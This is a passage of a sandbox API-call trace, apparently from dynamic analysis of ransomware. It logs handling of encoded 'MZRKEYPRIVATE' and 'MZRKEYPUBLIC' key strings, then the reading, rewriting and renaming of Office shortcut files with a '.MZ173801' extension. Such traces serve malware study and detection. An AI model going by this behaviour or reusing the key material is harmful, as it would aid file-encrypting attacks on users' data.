lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0214.997] GetCurrentThreadId () returned 0xab4 [0214.997] GetCurrentThreadId () returned 0xab4 [0214.997] GetCurrentThreadId () returned 0xab4 [0214.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.998] GetCurrentThreadId () returned 0xab4 [0214.998] GetCurrentThreadId () returned 0xab4 [0214.998] GetCurrentThreadId () returned 0xab4 [0214.998] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.998] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.999] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.999] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xa03 [0214.999] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.999] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0xa03, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0xa03, lpOverlapped=0x0) returned 1 [0215.001] CloseHandle (hObject=0x330) returned 1 [0215.002] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.003] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0xa03, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0xa03, lpOverlapped=0x0) returned 1 [0215.004] CloseHandle (hObject=0x330) returned 1 [0215.004] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk.mz173801")) returned 1 [0215.005] GetCurrentThreadId () returned 0xab4 [0215.005] GetCurrentThreadId () returned 0xab4 [0215.005] GetCurrentThreadId () returned 0xab4 [0215.005] GetCurrentThreadId () returned 0xab4 [0215.005] GetCurrentThreadId () returned 0xab4 [0215.005] GetCurrentThreadId () returned 0xab4 [0215.005] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c88562, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c88562, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c88562, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x988, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Office 2016 Language Preferences.lnk", cAlternateFileName="OFFICE~1.LNK")) returned 1 [0215.005] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0215.005] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0215.005] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c88562, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c88562, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c88562, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x988)) returned 1 [0215.006] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk")) returned 0x20 [0215.006] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk", dwFileAttributes=0x80) returned 1 [0215.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0215.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0215.011] GetCurrentThreadId () returned 0xab4 [0215.011] GetCurrentThreadId () returned 0xab4 [0215.011] GetCurrentThreadId () returned 0xab4 [0215.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 